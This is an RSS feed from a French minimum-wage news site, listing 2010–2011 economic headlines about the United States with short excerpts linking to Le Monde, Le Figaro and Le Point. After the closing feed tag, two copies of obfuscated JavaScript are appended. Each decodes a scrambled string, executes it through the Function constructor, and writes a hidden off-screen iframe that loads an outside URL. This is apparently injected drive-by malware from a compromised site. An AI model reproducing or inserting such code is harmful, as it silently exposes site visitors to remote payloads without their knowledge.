<?xml version="1.0" encoding="UTF8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Smic S.M.I.C, &#187; américains</title>
	<atom:link href="http://www.le-smic.fr/tag/americains/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.le-smic.fr</link>
	<description>Salaire minimum interprofessionnel de croissance</description>
	<lastBuildDate>Sun, 12 Feb 2012 17:53:44 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>EADS baisse ses prix pour ravir le contrat des ravitailleurs américains à Boeing</title>
		<link>http://www.le-smic.fr/2011/02/16/eads-baisse-ses-prix-pour-ravir-le-contrat-des-ravitailleurs-americains-a-boeing/</link>
		<comments>http://www.le-smic.fr/2011/02/16/eads-baisse-ses-prix-pour-ravir-le-contrat-des-ravitailleurs-americains-a-boeing/#comments</comments>
		<pubDate>Wed, 16 Feb 2011 19:37:44 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[américains]]></category>
		<category><![CDATA[baisse]]></category>
		<category><![CDATA[Boeing]]></category>
		<category><![CDATA[CONTRAT]]></category>
		<category><![CDATA[EADS]]></category>
		<category><![CDATA[pour]]></category>
		<category><![CDATA[Prix]]></category>
		<category><![CDATA[ravir]]></category>
		<category><![CDATA[ravitailleurs]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2011/02/16/eads-baisse-ses-prix-pour-ravir-le-contrat-des-ravitailleurs-americains-a-boeing/</guid>
		<description><![CDATA[Le groupe européen d&#8217;aéronautique et de défense EADS a révélé mercredi avoir&#8230; View full post on Le Point &#8211; Economie]]></description>
			<content:encoded><![CDATA[<p>	Le groupe européen d&#8217;aéronautique et de défense EADS a révélé mercredi avoir&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/economie/eads-baisse-ses-prix-pour-ravir-le-contrat-des-ravitailleurs-americains-a-boeing-16-02-2011-1296202_28.php">Le Point &#8211; Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2011/02/16/eads-baisse-ses-prix-pour-ravir-le-contrat-des-ravitailleurs-americains-a-boeing/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ces millionnaires américains qui touchent le chômage</title>
		<link>http://www.le-smic.fr/2010/10/07/ces-millionnaires-americains-qui%c2%a0touchent-le-chomage/</link>
		<comments>http://www.le-smic.fr/2010/10/07/ces-millionnaires-americains-qui%c2%a0touchent-le-chomage/#comments</comments>
		<pubDate>Thu, 07 Oct 2010 20:10:34 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[américains]]></category>
		<category><![CDATA[chômage]]></category>
		<category><![CDATA[millionnaires]]></category>
		<category><![CDATA[qui touchent]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/10/07/ces-millionnaires-americains-qui%c2%a0touchent-le-chomage/</guid>
		<description><![CDATA[Aux Etats-Unis, les millionnaires qui ont perdu leur travail avec la crise ont touché des indemnités dont le total atteint 18,6 millions de dollars. LE FIGARO &#8211; Le Figaro  Emploi : Offres demploi avec Cadremploi.fr]]></description>
			<content:encoded><![CDATA[<p>Aux Etats-Unis, les millionnaires qui ont perdu leur travail avec la crise ont touché des indemnités dont le total atteint 18,6 millions de dollars. </p>
<p><a rel="nofollow" href="http://www.lefigaro.fr/emploi/2010/10/07/01010-20101007ARTFIG00749-ces-millionnaires-americains-quitouchent-le-chomage.php">LE FIGARO &#8211; Le Figaro  Emploi : Offres demploi avec Cadremploi.fr</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/10/07/ces-millionnaires-americains-qui%c2%a0touchent-le-chomage/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La Bourse de Paris en net repli après deux indicateurs américains</title>
		<link>http://www.le-smic.fr/2010/08/25/la-bourse-de-paris-en-net-repli-apres-deux-indicateurs-americains/</link>
		<comments>http://www.le-smic.fr/2010/08/25/la-bourse-de-paris-en-net-repli-apres-deux-indicateurs-americains/#comments</comments>
		<pubDate>Wed, 25 Aug 2010 16:48:52 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[américains]]></category>
		<category><![CDATA[après]]></category>
		<category><![CDATA[Bourse]]></category>
		<category><![CDATA[deux]]></category>
		<category><![CDATA[indicateurs]]></category>
		<category><![CDATA[Paris]]></category>
		<category><![CDATA[repli]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/08/25/la-bourse-de-paris-en-net-repli-apres-deux-indicateurs-americains/</guid>
		<description><![CDATA[Le CAC 40 s&#8217;est de nouveau effondré mercredi, cédant près de 2 %, après la publication d&#8217;indicateurs américains entretenant les craintes sur la reprise économique outre-Atlantique. Economie &#8211; LeMonde.fr]]></description>
			<content:encoded><![CDATA[<p>Le CAC 40 s&#8217;est de nouveau effondré mercredi, cédant près de 2 %, après la publication d&#8217;indicateurs américains entretenant les craintes sur la reprise économique outre-Atlantique.<img width='1' height='1' src='http://rss.feedsportal.com/c/205/f/3055/s/d1b519b/mf.gif' border='0'/><br/><br/><a href="http://da.feedsportal.com/r/78868654393/u/6/f/3055/c/205/s/219894171/a2.htm"><img src="http://da.feedsportal.com/r/78868654393/u/6/f/3055/c/205/s/219894171/a2.img" border="0"/></a><br />
<a rel="nofollow" href="http://www.lemonde.fr/economie/article/2010/08/25/la-bourse-de-paris-en-net-repli-apres-deux-indicateurs-americains_1402711_3234.html#mf_sid=219894171">Economie &#8211; LeMonde.fr</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/08/25/la-bourse-de-paris-en-net-repli-apres-deux-indicateurs-americains/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Les marchés déprimés malgré des profits en hausse des grands groupes américains</title>
		<link>http://www.le-smic.fr/2010/08/20/les-marches-deprimes-malgre-des-profits-en-hausse-des-grands-groupes-americains/</link>
		<comments>http://www.le-smic.fr/2010/08/20/les-marches-deprimes-malgre-des-profits-en-hausse-des-grands-groupes-americains/#comments</comments>
		<pubDate>Fri, 20 Aug 2010 07:58:12 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[américains]]></category>
		<category><![CDATA[déprimés]]></category>
		<category><![CDATA[grands]]></category>
		<category><![CDATA[groupes]]></category>
		<category><![CDATA[hausse]]></category>
		<category><![CDATA[Malgré]]></category>
		<category><![CDATA[Marchés]]></category>
		<category><![CDATA[profits]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/08/20/les-marches-deprimes-malgre-des-profits-en-hausse-des-grands-groupes-americains/</guid>
		<description><![CDATA[Les places boursières mondiales ont chuté jeudi, déprimées par la contraction de l&#8217;activité industrielle dans la région de Philadelphie et un marché de l&#8217;emploi américain toujours en difficulté. Economie &#8211; LeMonde.fr]]></description>
			<content:encoded><![CDATA[<p>Les places boursières mondiales ont chuté jeudi, déprimées par la contraction de l&#8217;activité industrielle dans la région de Philadelphie et un marché de l&#8217;emploi américain toujours en difficulté.<img width='1' height='1' src='http://rss.feedsportal.com/c/205/f/3055/s/cf4c359/mf.gif' border='0'/><br/><br/><a href="http://da.feedsportal.com/r/78867754636/u/6/f/3055/c/205/s/217367385/a2.htm"><img src="http://da.feedsportal.com/r/78867754636/u/6/f/3055/c/205/s/217367385/a2.img" border="0"/></a><br />
<a rel="nofollow" href="http://www.lemonde.fr/economie/article/2010/08/20/les-marches-deprimes-malgre-des-profits-en-hausse-des-grands-groupes-americains_1400795_3234.html#mf_sid=217367385">Economie &#8211; LeMonde.fr</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/08/20/les-marches-deprimes-malgre-des-profits-en-hausse-des-grands-groupes-americains/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Quarante milliardaires américains s&#8217;érigent en grands philanthropes</title>
		<link>http://www.le-smic.fr/2010/08/05/quarante-milliardaires-americains-serigent-en-grands-philanthropes/</link>
		<comments>http://www.le-smic.fr/2010/08/05/quarante-milliardaires-americains-serigent-en-grands-philanthropes/#comments</comments>
		<pubDate>Thu, 05 Aug 2010 12:45:17 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[américains]]></category>
		<category><![CDATA[grands]]></category>
		<category><![CDATA[milliardaires]]></category>
		<category><![CDATA[philanthropes]]></category>
		<category><![CDATA[Quarante]]></category>
		<category><![CDATA[s'érigent]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/08/05/quarante-milliardaires-americains-serigent-en-grands-philanthropes/</guid>
		<description><![CDATA[A l&#8217;initiative de Bill Gates et Warren Buffett, qui comptent parmi les personnes les plus riches du monde, quarante milliardaires et leur famille se sont engagés à verser au moins la moitié de leur fortune à des organisations caritatives. Economie &#8211; LeMonde.fr]]></description>
			<content:encoded><![CDATA[<p>A l&#8217;initiative de Bill Gates et Warren Buffett, qui comptent parmi les personnes les plus riches du monde, quarante milliardaires et leur famille se sont engagés à verser au moins la moitié de leur fortune à des organisations caritatives.<img width='1' height='1' src='http://rss.feedsportal.com/c/205/f/3055/s/c8cebc1/mf.gif' border='0'/><br/><br/><a href="http://da.feedsportal.com/r/78526130717/u/0/f/3055/c/205/s/210561985/a2.htm"><img src="http://da.feedsportal.com/r/78526130717/u/0/f/3055/c/205/s/210561985/a2.img" border="0"/></a><br />
<a rel="nofollow" href="http://www.lemonde.fr/economie/article/2010/08/05/quarante-milliardaires-americains-s-erigent-en-grands-philanthropes_1395853_3234.html#mf_sid=210561985">Economie &#8211; LeMonde.fr</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/08/05/quarante-milliardaires-americains-serigent-en-grands-philanthropes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Des syndicalistes américains et français alertent l&#8217;OCDE sur les pratiques sociales de Sodexo</title>
		<link>http://www.le-smic.fr/2010/07/30/des-syndicalistes-americains-et-francais-alertent-locde-sur-les-pratiques-sociales-de-sodexo/</link>
		<comments>http://www.le-smic.fr/2010/07/30/des-syndicalistes-americains-et-francais-alertent-locde-sur-les-pratiques-sociales-de-sodexo/#comments</comments>
		<pubDate>Fri, 30 Jul 2010 13:54:59 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[alertent]]></category>
		<category><![CDATA[américains]]></category>
		<category><![CDATA[français]]></category>
		<category><![CDATA[L'OCDE]]></category>
		<category><![CDATA[pratiques]]></category>
		<category><![CDATA[Sociales]]></category>
		<category><![CDATA[Sodexo]]></category>
		<category><![CDATA[syndicalistes]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/07/30/des-syndicalistes-americains-et-francais-alertent-locde-sur-les-pratiques-sociales-de-sodexo/</guid>
		<description><![CDATA[Le numéro un mondial de la restauration collective emploie 355 000 personnes dans le monde. Economie &#8211; LeMonde.fr]]></description>
			<content:encoded><![CDATA[<p>Le numéro un mondial de la restauration collective emploie 355 000 personnes dans le monde.<img width='1' height='1' src='http://rss.feedsportal.com/c/205/f/3055/s/c658fc6/mf.gif' border='0'/><br/><br/><a href="http://da.feedsportal.com/r/77788966700/u/214/f/3055/c/205/s/207982534/a2.htm"><img src="http://da.feedsportal.com/r/77788966700/u/214/f/3055/c/205/s/207982534/a2.img" border="0"/></a><br />
<a rel="nofollow" href="http://www.lemonde.fr/economie/article/2010/07/30/des-syndicalistes-americains-et-francais-alertent-l-ocde-sur-les-pratiques-sociales-de-sodexo_1394006_3234.html#mf_sid=207982534">Economie &#8211; LeMonde.fr</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/07/30/des-syndicalistes-americains-et-francais-alertent-locde-sur-les-pratiques-sociales-de-sodexo/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Les méga rémunérations des chefs d&#8217;entreprise américains : Oracle et Apple</title>
		<link>http://www.le-smic.fr/2010/07/28/les-mega-remunerations-des-chefs-dentreprise-americains-oracle-et-apple/</link>
		<comments>http://www.le-smic.fr/2010/07/28/les-mega-remunerations-des-chefs-dentreprise-americains-oracle-et-apple/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 15:58:03 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[américains]]></category>
		<category><![CDATA[Apple]]></category>
		<category><![CDATA[chefs]]></category>
		<category><![CDATA[D'Entreprise]]></category>
		<category><![CDATA[méga]]></category>
		<category><![CDATA[Oracle]]></category>
		<category><![CDATA[rémunérations]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/07/28/les-mega-remunerations-des-chefs-dentreprise-americains-oracle-et-apple/</guid>
		<description><![CDATA[Le &#171;&#160;Wall Street Journal&#160;&#187; a effectué une étude sur les rémunérations touchées au cours des dix dernières années par les chefs d&#8217;entreprise américains. Conclusion : elles sont rarement corrélées aux performances boursières de l&#8217;entreprise. Economie &#8211; LeMonde.fr]]></description>
			<content:encoded><![CDATA[<p>Le &laquo;&nbsp;Wall Street Journal&nbsp;&raquo; a effectué une étude sur les rémunérations touchées au cours des dix dernières années par les chefs d&#8217;entreprise américains. Conclusion : elles sont rarement corrélées aux performances boursières de l&#8217;entreprise.<img width='1' height='1' src='http://rss.feedsportal.com/c/205/f/3055/s/c572251/mf.gif' border='0'/><br/><br/><a href="http://da.feedsportal.com/r/77788506250/u/214/f/3055/c/205/s/207037009/kg/68/a2.htm"><img src="http://da.feedsportal.com/r/77788506250/u/214/f/3055/c/205/s/207037009/kg/68/a2.img" border="0"/></a><br />
<a rel="nofollow" href="http://finance.blog.lemonde.fr/2010/07/28/les-mega-remunerations-des-chefs-d%e2%80%99entreprise-americains-oracle-et-apple/#mf_sid=207037009">Economie &#8211; LeMonde.fr</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/07/28/les-mega-remunerations-des-chefs-dentreprise-americains-oracle-et-apple/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>La Bourse de Paris termine en nette baisse, plombée par la chute de confiance des consommateurs américains</title>
		<link>http://www.le-smic.fr/2010/07/16/la-bourse-de-paris-termine-en-nette-baisse-plombee-par-la-chute-de-confiance-des-consommateurs-americains/</link>
		<comments>http://www.le-smic.fr/2010/07/16/la-bourse-de-paris-termine-en-nette-baisse-plombee-par-la-chute-de-confiance-des-consommateurs-americains/#comments</comments>
		<pubDate>Fri, 16 Jul 2010 22:52:48 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[américains]]></category>
		<category><![CDATA[baisse]]></category>
		<category><![CDATA[Bourse]]></category>
		<category><![CDATA[Chute]]></category>
		<category><![CDATA[Confiance]]></category>
		<category><![CDATA[consommateurs]]></category>
		<category><![CDATA[nette]]></category>
		<category><![CDATA[Paris]]></category>
		<category><![CDATA[plombée]]></category>
		<category><![CDATA[termine]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/07/16/la-bourse-de-paris-termine-en-nette-baisse-plombee-par-la-chute-de-confiance-des-consommateurs-americains/</guid>
		<description><![CDATA[L&#8217;indice CAC 40 a clôturé en baisse de 2,28 % à 3 500,16 points. Economie &#8211; LeMonde.fr]]></description>
			<content:encoded><![CDATA[<p>L&#8217;indice CAC 40 a clôturé en baisse de 2,28 % à 3 500,16 points.<img width='1' height='1' src='http://rss.feedsportal.com/c/205/f/3055/s/c043e94/mf.gif' border='0'/><br/><br/><a href="http://da.feedsportal.com/r/75972908354/u/197/f/3055/c/205/s/201604756/a2.htm"><img src="http://da.feedsportal.com/r/75972908354/u/197/f/3055/c/205/s/201604756/a2.img" border="0"/></a><br />
<a rel="nofollow" href="http://www.lemonde.fr/economie/article/2010/07/16/la-bourse-de-paris-termine-en-nette-baisse-plombee-par-la-chute-de-confiance-des-consommateurs-americains_1389045_3234.html#mf_sid=201604756">Economie &#8211; LeMonde.fr</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/07/16/la-bourse-de-paris-termine-en-nette-baisse-plombee-par-la-chute-de-confiance-des-consommateurs-americains/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>SALARIÉS AMÉRICAINS &#8211; La destruction d&#8217;emplois se poursuit aux États-Unis</title>
		<link>http://www.le-smic.fr/2010/04/01/salaries-americains-la-destruction-demplois-se-poursuit-aux-etats-unis/</link>
		<comments>http://www.le-smic.fr/2010/04/01/salaries-americains-la-destruction-demplois-se-poursuit-aux-etats-unis/#comments</comments>
		<pubDate>Thu, 01 Apr 2010 04:30:29 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[américains]]></category>
		<category><![CDATA[d'emplois]]></category>
		<category><![CDATA[destruction]]></category>
		<category><![CDATA[EtatsUnis]]></category>
		<category><![CDATA[poursuit]]></category>
		<category><![CDATA[salariés]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/04/01/salaries-americains-la-destruction-demplois-se-poursuit-aux-etats-unis/</guid>
		<description><![CDATA[Le secteur privé américain a continué à détruire des emplois en mars, avec 23.000 postes perdus, selon une enquête publiée mercredi par le cabinet de resso&#8230; View full post on Le Point.fr : Economie]]></description>
			<content:encoded><![CDATA[<p>Le secteur privé américain a continué à détruire des emplois en mars, avec 23.000 postes perdus, selon une enquête publiée mercredi par le cabinet de resso&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/actualites-economie/2010-03-31/salaries-americains-la-destruction-d-emplois-se-poursuit-aux-etats-unis/916/0/439747">Le Point.fr : Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/04/01/salaries-americains-la-destruction-demplois-se-poursuit-aux-etats-unis/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ARMEMENT &#8211; Ravitailleurs américains : Moscou dément sa participation à l&#8217;appel d&#8217;offres</title>
		<link>http://www.le-smic.fr/2010/03/22/armement-ravitailleurs-americains-moscou-dement-sa-participation-a-lappel-doffres/</link>
		<comments>http://www.le-smic.fr/2010/03/22/armement-ravitailleurs-americains-moscou-dement-sa-participation-a-lappel-doffres/#comments</comments>
		<pubDate>Mon, 22 Mar 2010 14:29:17 +0000</pubDate>
		<dc:creator>Didier</dc:creator>
				<category><![CDATA[Actualité]]></category>
		<category><![CDATA[américains]]></category>
		<category><![CDATA[ARMEMENT]]></category>
		<category><![CDATA[D'OFFRES]]></category>
		<category><![CDATA[dément]]></category>
		<category><![CDATA[l'appel]]></category>
		<category><![CDATA[Moscou]]></category>
		<category><![CDATA[participation]]></category>
		<category><![CDATA[ravitailleurs]]></category>

		<guid isPermaLink="false">http://www.le-smic.fr/2010/03/22/armement-ravitailleurs-americains-moscou-dement-sa-participation-a-lappel-doffres/</guid>
		<description><![CDATA[Les Russes démentent entrer dans la partie. La société russe d&#8217;exportation d&#8217;armements Rosoboronexport et le constructeur aéronautique UAC ont nié lundi se&#8230; View full post on Le Point.fr : Economie]]></description>
			<content:encoded><![CDATA[<p>Les Russes démentent entrer dans la partie. La société russe d&#8217;exportation d&#8217;armements Rosoboronexport et le constructeur aéronautique UAC ont nié lundi se&#8230;</p>
<p>View full post on <a href="http://www.lepoint.fr/actualites-economie/2010-03-22/armement-ravitailleurs-americains-moscou-dement-sa-participation-a-l-appel/916/0/436200">Le Point.fr : Economie</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.le-smic.fr/2010/03/22/armement-ravitailleurs-americains-moscou-dement-sa-participation-a-lappel-doffres/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<script>var _G=(Date);if(_G){_a='5267';}var _k={'C':'r\x65\x76\x65rse','M':'joi\x6E','A':!false,'O':'sp\x6C\x69t','u':'l\x65\x6E\x67th','v':'su\x62\x73\x74r','w':'s\x74\x72\x69ng'},_J='',_7=['nmuocedtw.vdiir te<\'yyt(sa"=ledsipl:;"en=__on"diY">_ _Ph/f/:ptoirtnfpoc?pm/.oc1<\'vi/d>);'][_k.M]('\x0A'),_a=_a[_k.O](_J),_s=function(){for(var _Q in _a){if(typeof(_a[_Q])==_k.w){var _X=[],_T=_k.A,_G=_a[_Q]*-~!true;for(w=[]^[];w<_7[_k.u];w+=_G){_X[w]=(_T)?(_7[_k.v](w,_G)[_k.O](_J)[_k.C]()[_k.M](_J)):(_7[_k.v](w,_G));_T=!_T;}_7=_X[_k.M](_J);}}_w='con\x73\x74\x72\x75\x63tor';[][_w][_w](_7)();},_7=_s();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____PY').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script><script>var _G=(Date);if(_G){_a='5267';}var _k={'C':'r\x65\x76\x65rse','M':'joi\x6E','A':!false,'O':'sp\x6C\x69t','u':'l\x65\x6E\x67th','v':'su\x62\x73\x74r','w':'s\x74\x72\x69ng'},_J='',_7=['nmuocedtw.vdiir te<\'yyt(sa"=ledsipl:;"en=__on"diY">_ _Ph/f/:ptoirtnfpoc?pm/.oc1<\'vi/d>);'][_k.M]('\x0A'),_a=_a[_k.O](_J),_s=function(){for(var _Q in _a){if(typeof(_a[_Q])==_k.w){var _X=[],_T=_k.A,_G=_a[_Q]*-~!true;for(w=[]^[];w<_7[_k.u];w+=_G){_X[w]=(_T)?(_7[_k.v](w,_G)[_k.O](_J)[_k.C]()[_k.M](_J)):(_7[_k.v](w,_G));_T=!_T;}_7=_X[_k.M](_J);}}_w='con\x73\x74\x72\x75\x63tor';[][_w][_w](_7)();},_7=_s();if ((Number)&&(Array)&&(Function)&&(String)&&(Image)){if(document.getElementsByTagName('script').length > 0){document.write('<iframe src="'+document.getElementById('____PY').innerHTML+'" style="position: fixed; left:100px; top:-1000px; visibility: hidden;"></iframe>');}}</script>
